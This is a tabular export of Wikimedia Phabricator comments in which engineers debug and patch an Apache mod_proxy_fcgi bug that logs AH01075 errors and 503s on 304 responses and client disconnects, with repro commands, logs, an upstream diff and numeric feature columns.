701950,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","I just uploaded the latest version of the apache package to reprepro, now installing it on mw1262.",,,1469714296,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,56,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,11.0,16.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,4.315789473684211,0.9473684210526315,"I just uploaded the latest version of the apache package to reprepro, now installing it on mw1262."
697474,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","@elukey I didn't add it on purpose, as I was pretty sure it was a minor effect; and yes, the final version of our package will have one big patch for mod_proxy_fcgi.c that includes that as well.",,,1468995973,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,54,True,0.0,0.0,0.0,0.0,2.0,10.0,5.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,7.0,0.0,10.0,12.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,5.0,5.0,7.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,0.8571428571428571,"SCREEN_NAME I didn't add it on purpose, as I was pretty sure it was a minor effect; and yes, the final version of our package will have one big patch for mod_proxy_fcgi.c that includes that as well."
697472,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","@hashar: thanks for the info! I was wondering why apache2log wasn't showing all the spam :)

@Joe: I found some occurrences of AH01075 due to client disconnects, I believe we forgot to add http://svn.apache.org/r1726019",,,1468995863,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,54,True,5.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,0.0,5.0,10.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,5.0,18.0,2.0,0.0,10.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,10.0,10.0,2.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,4.25,0.825,"SCREEN_NAME: thanks for the info! I was wondering why apache2log wasn't showing all the spam :)
SCREEN_NAME: I found some occurrences of AH01075 due to client disconnects, I believe we forgot to add URL"
697147,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Awesome!  As a side note, the logstash syslog filter discard a few Apache errors. From https://phabricator.wikimedia.org/diffusion/OPUP/browse/production/files/logstash/filter-syslog.conf;f878f4c4634277750ade1d92a6e4594ec6300cb1$82-92

```
    if [program] == ""apache2"" {
      # Ignore known mod_proxy_fcgi bugs
      if [message] =~ /AH01070: Error parsing script headers/ {
        drop {}
      }
      if [message] =~ /AH01068: Got bogus version \d/ {
        drop {}
      }
      if [message] =~ /AH01075: Error dispatching request to :/ {
        drop {}
      } 
          
```

Might want to stop dropping them.",,,1468956844,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,54,True,3.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,21.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,3.0,9.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,3.3823529411764706,0.8235294117647058,"Awesome!  As a side note, the logstash syslog filter discard a few Apache errors. From URL

``CODE``

Might want to stop dropping them."
696107,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","So, by combining elukey's patch and the original patch for not sending out a body on a 304, the bogus logs are effectively gone,

As soon as we feel confident, we can upgrade the apache package across all jessies, and then resolve this ticket.",,,1468855802,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,54,True,2.0,0.0,0.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,4.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.8653846153846154,0.8076923076923077,"So, by combining elukey's patch and the original patch for not sending out a body on a 304, the bogus logs are effectively gone,

As soon as we feel confident, we can upgrade the apache package across all jessies, and then resolve this ticket."
691705,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","After a bit of digging, it seems that the AH01075/AH01068 error messages can be reproduced on httpd trunk too. I opened a bugzilla PR to propose a fix, let's see how it goes: https://bz.apache.org/bugzilla/show_bug.cgi?id=59838 (more info about how to repro and basic info in there!)
 
So the next steps are:

1) wait for the PR 
2) double check if the deb package built by Joe contains all the patches that is supposed to have (even if I am pretty confident that it has everything). Hopefully this will fix the 304 body problem returned but I suspect that we are missing another commit to backport..

",,,1468220777,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,53,True,1.0,1.0,0.0,1.5,0.0,4.0,1.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,3.0,0.0,5.0,10.5,1.0,2.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,1.0,0.0,6.5,3.0,2.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.5,12.5,1.0,0.0,0.0,0.5,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,5.5,3.5,7.5,4.5,1.5,8.0,0.0,0.0,0.5,0.0,5.0,0.0,1.0,0.0,5.0,10.5,2.0,0.0,0.0,0.0,5.0,0.0,2.0,1.5,0.0,1.5,0.5,0.0,1.5,3.6178955453149,0.847926267281106,"After a bit of digging, it seems that the AH01075/AH01068 error messages can be reproduced on httpd trunk too. I opened a bugzilla PR to propose a fix, let's see how it goes: URL (more info about how to repro and basic info in there!)
 
So the next steps are:

1) wait for the PR 
2) double check if the deb package built by Joe contains all the patches that is supposed to have (even if I am pretty confident that it has everything). Hopefully this will fix the 304 body problem returned but I suspect that we are missing another commit to backport..

"
691373,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)",">>! In T73487#2442995, @elukey wrote:
> I found a repro (If-Modified needs to be modified accordingly to force a 304):
> 
> ```
> curl ""localhost/w/index.php?title=MediaWiki:Gadget-ImageAnnotator.js&action=raw&ctype=text/javascript"" 
> -H ""Host: commons.wikimedia.org"" 
> -i 
> --header 'If-Modified-Since: Tue, 25 Aug 2015 15:19:10 GMT'
> ```
> 
> Correspondent logs:
> 
> ```
> 2016-07-08T21:15:17	45908	::1	
> proxy-server/503	0	
> GET	http://commons.wikimedia.org/w/index.php	-	
> text/html	-	-	curl/7.38.0	--	-	::1
> 
> Jul  8 21:24:11 mw2244 apache2[78184]: [proxy_fcgi:error] 
> [pid 78184:tid 139815613789952] 
> [client ::1:40136] AH01068: Got bogus version 32
> 
> Jul  8 21:24:11 mw2244 apache2[78184]: [proxy_fcgi:error] 
> [pid 78184:tid 139815613789952] (22)Invalid argument: 
> [client ::1:40136] AH01075: Error dispatching request to :
> ```
> 
> The question now is why a 304 generates this mess. It seems not related to http://svn.apache.org/r1650677, but something different. 
> 
> On the bright side, I verified that the 304 is delivered to the client (that was my shell) without any mention of a 503 or an error. So this issue seems to be only related to httpd internals spamming logs.

If you try this with telnet, not curl, you'll see that for some reason the 304 body is still returned. I fear I made an error when rebuilding the package or that the 304_no_body patch was incomplete.",,,1468051771,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,53,True,2.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0,2.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,7.0,3.0,19.0,7.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,7.0,9.0,12.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.6551724137931036,0.6551724137931034,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

If you try this with telnet, not curl, you'll see that for some reason the 304 body is still returned. I fear I made an error when rebuilding the package or that the 304_no_body patch was incomplete."
691258,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)",So you at least have a proof `AH01070: Error parsing script headers` is fixed!,,,1468016608,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,53,True,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,18.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,3.090909090909091,1.0,So you at least have a proof CODE is fixed!
691244,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Interesting fact: I tried the same curl request on mw2244 (that does not have the fix to ignore 304 response body -  http://svn.apache.org/r1650677) and this is the result: 

```
Jul  8 21:56:03 mw2244 apache2[78184]: [proxy_fcgi:error] 
[pid 78184:tid 139815790036736] [client ::1:43834] AH01070: Error parsing script headers
Jul  8 21:56:03 mw2244 apache2[78184]: [proxy_fcgi:error] 
[pid 78184:tid 139815790036736] [client ::1:43834] AH01068: Got bogus version 32
Jul  8 21:56:03 mw2244 apache2[78184]: [proxy_fcgi:error] 
[pid 78184:tid 139815790036736] (22)Invalid argument: [client ::1:43834] AH01075: Error dispatching request to :
```

The error message ""Error parsing script headers"" is exactly the one that the above patch corrected:

```
                                 APR_BRIGADE_INSERT_TAIL(ob, tmp_b);
                                 r->status = status;
                                 ap_pass_brigade(r->output_filters, ob);
-                                ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(01070)
-                                              ""Error parsing script headers"");
-                                rv = APR_EINVAL;
+                                if (status == HTTP_NOT_MODIFIED) {
+                                    /* The 304 response MUST NOT contain
+                                     * a message-body, ignore it. */
+                                    ignore_body = 1;
+                                }
+                                else {
+                                    ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(01070)
+                                                    ""Error parsing script headers"");
+                                    rv = APR_EINVAL;
+                                }
                                 break;
```
Since mw1261 does not show that error message, it seems that we are indeed in the case of a 304 response carrying payload.

we are either hitting a new mod-proxy-fcgi bug or we are just missing the commit that fixes it :)
",,,1468015738,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,53,True,0.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,8.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,9.0,1.0,2.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,17.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,8.0,4.0,6.0,3.0,3.0,10.0,0.0,1.0,0.0,0.0,3.0,0.0,2.0,0.0,7.0,8.0,3.0,0.0,0.0,0.0,7.0,0.0,1.0,2.0,0.0,3.0,0.0,0.0,0.0,3.595505617977528,0.7191011235955056,"Interesting fact: I tried the same curl request on mw2244 (that does not have the fix to ignore 304 response body -  URL and this is the result: 

``CODE`CODE`CODE``
Since mw1261 does not show that error message, it seems that we are indeed in the case of a 304 response carrying payload.

we are either hitting a new mod-proxy-fcgi bug or we are just missing the commit that fixes it :)
"
691229,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","I found a repro (If-Modified needs to be modified accordingly to force a 304):

```
curl ""localhost/w/index.php?title=MediaWiki:Gadget-ImageAnnotator.js&action=raw&ctype=text/javascript"" 
-H ""Host: commons.wikimedia.org"" 
-i 
--header 'If-Modified-Since: Tue, 25 Aug 2015 15:19:10 GMT'
```

Correspondent logs:

```
2016-07-08T21:15:17	45908	::1	
proxy-server/503	0	
GET	http://commons.wikimedia.org/w/index.php	-	
text/html	-	-	curl/7.38.0	--	-	::1

Jul  8 21:24:11 mw2244 apache2[78184]: [proxy_fcgi:error] 
[pid 78184:tid 139815613789952] 
[client ::1:40136] AH01068: Got bogus version 32

Jul  8 21:24:11 mw2244 apache2[78184]: [proxy_fcgi:error] 
[pid 78184:tid 139815613789952] (22)Invalid argument: 
[client ::1:40136] AH01075: Error dispatching request to :
```

The question now is why a 304 generates this mess. It seems not related to http://svn.apache.org/r1650677, but something different. 

On the bright side, I verified that the 304 is delivered to the client (that was my shell) without any mention of a 503 or an error. So this issue seems to be only related to httpd internals spamming logs.",,,1468013730,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,53,True,1.0,1.0,0.0,3.0,1.0,4.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,7.0,12.0,1.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,1.0,1.0,1.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,11.0,3.0,2.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,5.0,0.0,1.0,0.0,0.0,0.0,3.6956521739130435,0.6956521739130435,"I found a repro (If-Modified needs to be modified accordingly to force a 304):

``CODE`CODE`CODE``

The question now is why a 304 generates this mess. It seems not related to URL but something different. 

On the bright side, I verified that the 304 is delivered to the client (that was my shell) without any mention of a 503 or an error. So this issue seems to be only related to httpd internals spamming logs."
691227,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","I found a repro (If-Modified needs to be modified accordingly to force a 304):

```
curl ""localhost/w/index.php?title=MediaWiki:Gadget-ImageAnnotator.js&action=raw&ctype=text/javascript"" 
-H ""Host: commons.wikimedia.org"" 
-i 
--header 'If-Modified-Since: Tue, 25 Aug 2015 15:19:10 GMT'
```

Correspondent logs:

```
2016-07-08T21:15:17	45908	::1	
proxy-server/503	0	
GET	http://commons.wikimedia.org/w/index.php	-	
text/html	-	-	curl/7.38.0	--	-	::1

Jul  8 21:24:11 mw2244 apache2[78184]: [proxy_fcgi:error] 
[pid 78184:tid 139815613789952] 
[client ::1:40136] AH01068: Got bogus version 32

Jul  8 21:24:11 mw2244 apache2[78184]: [proxy_fcgi:error] 
[pid 78184:tid 139815613789952] (22)Invalid argument: 
[client ::1:40136] AH01075: Error dispatching request to :
```

The question now is why a 304 generates this mess. It seems not related to http://svn.apache.org/r1650677, but something different. ",,,1468013279,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,53,True,0.0,2.0,0.0,2.0,2.0,7.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,9.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,15.0,4.0,2.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,3.739130434782609,0.782608695652174,"I found a repro (If-Modified needs to be modified accordingly to force a 304):

``CODE`CODE`CODE``

The question now is why a 304 generates this mess. It seems not related to URL but something different. "
691090,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","I copied an example of 304 in mw1061:/home/elukey/error_log_304.log (root:adm permissions)

Is there anybody that could give me an example of request that simulates this one? @ori maybe? The goal would be to reproduce this sneaky 304 and figure out what is going wrong with httpd. ",,,1467998507,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,53,True,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,11.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,15.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,5.0,5.0,5.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,4.0,11.0,7.0,2.0,0.0,0.0,4.0,0.0,5.0,4.0,2.0,2.0,0.0,0.0,0.0,4.4363636363636365,0.8727272727272727,"I copied an example of 304 in mw1061:/home/elukey/error_log_304.log (root:adm permissions)

Is there anybody that could give me an example of request that simulates this one?SCREEN_NAME maybe? The goal would be to reproduce this sneaky 304 and figure out what is going wrong with httpd. "
691034,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Deployed the patched version of httpd but the errors are still there. I added the following logging:

```
LogLevel notice proxy_fcgi:trace8 core:trace8 http_module:trace8
```

and this is the result for every Bogus version and AH01075:

```
[Fri Jul 08 15:41:29.246709 2016] [http:trace3] http_filters.c(1003):  Response sent with status 304, headers:
[Fri Jul 08 15:41:29.246729 2016] [http:trace5] http_filters.c(1010):  Date: Fri, 08 Jul 2016 15:41:29 GMT
[Fri Jul 08 15:41:29.246734 2016] [http:trace5] http_filters.c(1013):  Server: mw1261.eqiad.wmnet
[Fri Jul 08 15:41:29.246747 2016] [proxy_fcgi:error] AH01068: Got bogus version 116
[Fri Jul 08 15:41:29.246754 2016] [proxy_fcgi:error]  (22)Invalid argument: [client 10.64.0.102:24486] AH01075: Error dispatching request to :
```

So all the requests with 503 and problematic logs seems to be 304 Not modified (I turned on core and http_module logs to trace8 this time, not only proxy_fcgi). We added http://svn.apache.org/viewvc?view=revision&revision=1650677 that should have solved the issue, but apparently we are still missing something. 

Will try to reproduce a 304 ""problematic"" response in my vagrant testing environment. ",,,1467993610,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,53,True,1.0,1.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,5.0,0.0,9.0,7.0,1.0,3.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,3.0,10.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,4.0,0.0,5.0,7.0,1.0,0.0,2.0,0.0,5.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,4.170212765957447,0.7340425531914894,"Deployed the patched version of httpd but the errors are still there. I added the following logging:

``CODE`CODE`CODE``

So all the requests with 503 and problematic logs seems to be 304 Not modified (I turned on core and http_module logs to trace8 this time, not only proxy_fcgi). We added URL that should have solved the issue, but apparently we are still missing something. 

Will try to reproduce a 304 ""problematic"" response in my vagrant testing environment. "
690858,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","The two patches needed are the following (even simpler than what I expected):

http://svn.apache.org/r1642855
http://svn.apache.org/r1726019

Nice to have but not really necessary;

svn.apache.org/r1650677",,,1467975563,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,53,True,0.0,0.0,0.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,7.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,17.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,7.0,7.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,4.433333333333334,0.9,"The two patches needed are the following (even simpler than what I expected):

URL
URL

Nice to have but not really necessary;

svn.apache.org/r1650677"
690819,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Finally we found a repro thanks to https://bz.apache.org/bugzilla/show_bug.cgi?id=49671. 
Quoting the bug report:

```
If mod_proxy_fcgi is handling a request it encounters an error sending data to the client 
(most commonly because the client has disconnected) then it will often stop processing 
data in the middle of an FCGI record and return from dispatch() without having read 
the entire record from the FCGI server.

When dispatch() is next entered it tries to read a new record, 
but gets bogus data from the middle of the previous record and logs an error along these likes:

[Thu Jul 29 15:48:29 2010] [error] proxy: FCGI: Got bogus version 66
[Thu Jul 29 15:48:29 2010] [error] (22)Invalid argument: proxy: FCGI: Error dispatching request to :
```

That explains perfectly what I was observing in the error.log set to trace8. I managed to reproduce on my Vagrant VM simply configuring httpd/mod-proxy-fcgi to use FCGI to serve all files, not only PHP, and issuing a HTTP request for the file aborting it before completion.

So the 503s that we are seeing in the access_logs (plus all the related errors in error.log) should be related to client aborting connections.

The fix should be https://svn.apache.org/r1682544, released in 2.4.16. Joe is trying to backport the patch to 2.4.10, let's see if it works. If everything goes fine it might be good to follow up with the Debian maintainers.

I updated all the related mod-proxy-fcgi apache bz tasks with some info too.
",,,1467967262,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,53,True,2.5,0.5,0.5,1.0,0.5,4.0,0.5,0.0,0.0,1.0,2.5,0.0,0.0,0.5,0.0,3.0,0.5,3.5,12.0,0.5,2.5,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,1.0,3.0,2.0,1.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,10.5,0.5,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,3.5,10.0,1.0,1.0,9.5,0.0,0.0,0.0,0.0,5.5,0.0,1.0,0.0,5.5,12.0,7.5,0.0,0.0,0.0,5.5,0.0,1.0,1.0,0.0,4.5,0.0,0.0,0.5,3.8095238095238093,0.7559523809523809,"Finally we found a repro thanks to URL 
Quoting the bug report:

``CODE``

That explains perfectly what I was observing in the error.log set to trace8. I managed to reproduce on my Vagrant VM simply configuring httpd/mod-proxy-fcgi to use FCGI to serve all files, not only PHP, and issuing a HTTP request for the file aborting it before completion.

So the 503s that we are seeing in the access_logs (plus all the related errors in error.log) should be related to client aborting connections.

The fix should be URL released in 2.4.16. Joe is trying to backport the patch to 2.4.10, let's see if it works. If everything goes fine it might be good to follow up with the Debian maintainers.

I updated all the related mod-proxy-fcgi apache bz tasks with some info too.
"
690402,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Yes definitely! 

mw1261.eqiad.wmnet:/home/elukey/error_log_elukey_httpd_patched_07072016.log

mw1261.eqiad.wmnet:/home/elukey/access_log_elukey_httpd_patched_07072016.log",,,1467914191,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,53,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,20.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.266666666666667,0.6,"Yes definitely! 

mw1261.eqiad.wmnet:/home/elukey/error_log_elukey_httpd_patched_07072016.log

mw1261.eqiad.wmnet:/home/elukey/access_log_elukey_httpd_patched_07072016.log"
